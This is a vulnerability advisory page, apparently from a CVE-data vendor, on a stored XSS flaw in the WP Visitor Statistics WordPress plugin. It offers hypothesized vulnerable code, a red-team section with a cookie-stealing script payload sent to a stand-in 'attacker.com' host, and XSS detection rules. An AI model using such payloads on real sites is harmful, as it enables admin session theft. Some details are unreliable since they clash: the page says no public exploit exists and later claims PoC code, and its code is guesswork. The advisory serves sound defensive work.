CVE-2025-24675
Executive Summary
CVE-2025-24675 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin WP Visitor Statistics (Real Time Traffic) by vendor osama.esh, affecting versions through 7.2. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that are stored on the server and executed in the browsers of other users. With a CVSS score of 6.5 (Medium), this flaw can lead to session hijacking, data theft, and defacement within the WordPress ecosystem. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor for updates from the vendor and consider disabling the plugin if no patch is available.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R)
- Scope: Changed (S:C)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
The threat level is Medium due to the requirement for user interaction (e.g., an admin viewing a statistics page) and the limited impact on confidentiality, integrity, and availability. However, stored XSS can be leveraged for more severe attacks like session hijacking or privilege escalation.
Deep Dive & Mechanics
The WP Visitor Statistics plugin tracks real-time traffic data and displays it in the WordPress admin dashboard. The vulnerability exists in the improper sanitization of input fields that are later rendered in the admin interface. An attacker with contributor-level access or higher can inject malicious JavaScript into fields such as visitor comments, referrer URLs, or custom tracking parameters. When an administrator views the statistics page, the injected script executes in their browser context, potentially allowing the attacker to perform actions on behalf of the admin, steal cookies, or modify site content.
The core issue is the lack of output encoding or sanitization using functions like esc_html() or wp_kses() in WordPress. The plugin directly echoes user-supplied data without proper escaping, leading to stored XSS.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code pattern is hypothesized based on common WordPress XSS flaws:
Vulnerable Code (wp-stats-manager <= 7.2):
// In a template file or admin page
echo '<div class="visitor-info">' . $visitor_comment . '</div>';
Patched Code (hypothetical):
// Properly escape output
echo '<div class="visitor-info">' . esc_html( $visitor_comment ) . '</div>';
The vulnerable code directly outputs user-controlled data without escaping, while the patched version uses esc_html() to neutralize HTML and JavaScript.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress instance with WP Visitor Statistics plugin version <= 7.2
- Attacker account with at least Contributor role (or ability to inject data via HTTP requests)
Exploitation Steps:
- Log in as a contributor and navigate to a page where user input is stored (e.g., adding a comment or submitting a form tracked by the plugin).
- Inject the following payload into a vulnerable field:
<script>alert('XSS')</script> - Alternatively, use a more sophisticated payload to steal admin cookies:
<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script> - Wait for an administrator to view the statistics page. The script executes, sending the admin's cookies to the attacker.
Note: No public exploit code is available, so this is a conceptual demonstration.
Blue Team
Detection and Response:
- Monitor for unusual JavaScript execution in the admin dashboard.
- Review logs for suspicious input patterns (e.g.,
<script>tags) in plugin-related fields. - Implement Web Application Firewall (WAF) rules to block common XSS payloads.
- Restrict plugin access to trusted users only.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to attacker-controlled domains from the WordPress admin interface.
- File: Modified plugin files (e.g.,
wp-content/plugins/wp-stats-manager/) containing injected JavaScript. - Log: WordPress debug logs showing unexpected script execution or cookie theft attempts.
- Behavior: Unauthorized admin actions (e.g., new user creation, plugin installation) performed without legitimate admin interaction.
Detection Engineering
YARA Rule
rule CVE_2025_24675_Stored_XSS {
meta:
description = "Detects stored XSS payloads in WP Visitor Statistics plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-24675"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$wp_stats_path = /wp-stats-manager/
condition:
$wp_stats_path and $xss_payload
}
Sigma Rule
title: Stored XSS in WP Visitor Statistics Plugin
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b3d1f0a7e9c
status: experimental
description: Detects stored XSS attempts in WP Visitor Statistics plugin fields
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
http.url|contains: '/wp-admin/admin.php?page=wp-stats-manager'
http.body|contains: '<script>'
condition: selection
falsepositives:
- Legitimate use of JavaScript in admin pages (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-24675 Stored XSS in WP Visitor Statistics"; flow:to_server,established; content:"/wp-admin/admin.php?page=wp-stats-manager"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if no patch is available and it is not critical for operations.
- Restrict admin dashboard access to trusted IPs and users.
- Implement Content Security Policy (CSP) headers to block inline scripts.
Long-Term Fix:
- Apply the vendor's patch once released (monitor the WordPress plugin repository).
- If patching is not possible, manually sanitize output in plugin files by adding
esc_html()to all user-controlled data.
Workaround:
- Use a Web Application Firewall (WAF) with rules to block XSS payloads in plugin-specific URLs.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.